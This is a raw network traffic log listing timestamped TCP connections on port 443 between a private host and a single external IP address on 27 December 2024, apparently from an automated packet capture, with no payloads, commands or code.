Dec 27, 2024 22:33:16.406302929 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.406335115 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.406366110 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.406369925 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.406410933 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.406418085 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.410325050 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.410423994 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.410468102 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.410489082 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.410521984 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.410569906 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.410588980 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.410595894 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.410634995 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.410640955 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.414454937 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.414503098 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.414510012 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.422806978 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.422852993 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.422859907 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.422908068 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.422955036 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.422957897 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.422970057 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.423065901 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.423074007 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.504837990 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.504965067 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.505012035 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.523502111 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.523544073 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.523581028 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.523587942 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.529911995 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.529989004 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.530005932 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.535629988 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.535733938 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.535816908 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.536422968 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.536454916 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.607513905 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.607547998 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.607566118 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.607583046 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.607774019 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.611319065 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.611479044 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.611527920 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.615060091 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.615145922 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.615171909 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.615206003 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.615271091 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.615277052 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.615326881 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.615369081 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.633289099 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.633304119 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.633339882 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.633346081 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.634308100 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.634336948 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.634352922 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.634357929 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.842747927 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.842806101 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.843023062 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.844233036 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:16.844249964 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:17.800374031 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:17.800513983 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:17.802248955 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:17.802258015 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:17.802572012 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:17.804183960 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:17.804204941 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:17.804272890 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.118591070 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.118671894 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.120131969 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.120143890 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.120387077 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.121715069 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.121865034 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.121896029 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.121953964 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.121961117 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.579245090 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.579401970 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.579497099 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.579526901 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.579552889 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.579606056 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.579653978 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.579814911 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.579865932 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.579879999 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.592124939 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.592171907 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.592186928 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.600522995 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.601094961 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.601109982 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.657634974 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.698790073 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.702876091 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.705424070 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.705440998 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.784090042 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.784193993 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.784272909 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.784308910 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.784358025 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.784395933 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.784573078 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.784631968 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.785604000 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.785645962 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:18.785672903 CET	49755	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:18.785687923 CET	443	49755	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:19.136194944 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:19.136527061 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:19.137159109 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:19.137271881 CET	49757	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:19.137295961 CET	443	49757	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:19.158132076 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:19.158168077 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:19.158250093 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:19.158663988 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:19.158680916 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:20.468614101 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:20.468696117 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:20.474669933 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:20.474692106 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:20.475054979 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:20.481695890 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:20.481785059 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:20.481805086 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:21.291850090 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:21.292118073 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:21.292218924 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:21.306498051 CET	49759	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:21.306533098 CET	443	49759	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:21.381881952 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:21.381993055 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:21.382091045 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:21.382606030 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:21.382646084 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:22.642607927 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:22.642715931 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:22.849200010 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:22.849248886 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:22.850253105 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:22.904779911 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:22.904918909 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:22.904993057 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:22.905076981 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:22.905096054 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:23.882906914 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:23.883140087 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:23.883229017 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:23.883451939 CET	49761	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:23.883496046 CET	443	49761	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:24.106549025 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:24.106595039 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:24.106658936 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:24.107352018 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:24.107366085 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:24.112308979 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:24.112365007 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:24.112449884 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:24.112715960 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:24.112729073 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.367835999 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.368006945 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.371553898 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.371664047 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.375665903 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.375695944 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.376674891 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.376722097 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.377131939 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.377454996 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.393752098 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.402244091 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.402367115 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.402385950 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.402470112 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.402514935 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:25.402601004 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:25.402616024 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.138804913 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.139117002 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.139198065 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.156665087 CET	49763	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.156708002 CET	443	49763	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.311901093 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.312141895 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.312199116 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.312777996 CET	49762	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.312796116 CET	443	49762	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.380490065 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.380542040 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.380619049 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.380888939 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.380901098 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.504139900 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.504184008 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:26.504255056 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.504581928 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:26.504596949 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.646569967 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.646795034 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.651063919 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.651078939 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.651309013 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.654556990 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.654659986 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.654689074 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.726809025 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.726911068 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.728028059 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.728039980 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.728265047 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.729409933 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.730221987 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.730256081 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.734023094 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.734070063 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.737543106 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.737602949 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.741596937 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.741626024 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.741776943 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.741802931 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.741929054 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.741960049 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.741995096 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.742013931 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.742161989 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.742192030 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.742194891 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.742209911 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.742362976 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.742397070 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.742415905 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.783334017 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.783535004 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.783560991 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.783581972 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.783595085 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:27.783602953 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:27.783608913 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:28.475475073 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:28.475766897 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:28.475860119 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:28.509903908 CET	49764	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:28.509932041 CET	443	49764	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:28.910677910 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:28.910725117 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:28.910783052 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:28.911160946 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:28.911171913 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.071674109 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.071809053 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.077575922 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.077939987 CET	49765	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.077959061 CET	443	49765	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.083110094 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.083133936 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.083208084 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.083537102 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.083554983 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.225183010 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.225395918 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.226547956 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.226557970 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.227057934 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.228283882 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.228427887 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.228467941 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:30.228538990 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:30.228549004 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.116446972 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.116703987 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.116818905 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.116908073 CET	49766	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.116928101 CET	443	49766	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.355396032 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.355501890 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.563245058 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.563281059 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.564348936 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.608264923 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.664664030 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.664664030 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.664860010 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.792521954 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.792562008 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.792627096 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.793416023 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.793431997 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.795125008 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.795166969 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:31.795228004 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.796127081 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:31.796143055 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:32.419934988 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:32.420140982 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:32.420226097 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:32.420706034 CET	49767	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:32.420730114 CET	443	49767	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.056809902 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.056890965 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.060673952 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.060688972 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.061031103 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.061995983 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.062072039 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.062396049 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.062515974 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.062521935 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.063720942 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.063730001 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.064636946 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.081432104 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.081607103 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.081649065 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.081753969 CET	49769	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.081770897 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.852168083 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.852462053 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:33.852576971 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.856076956 CET	49768	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:33.856100082 CET	443	49768	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:34.062666893 CET	443	49769	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:34.062954903 CET	443	49769	104.21.60.24	192.168.2.4
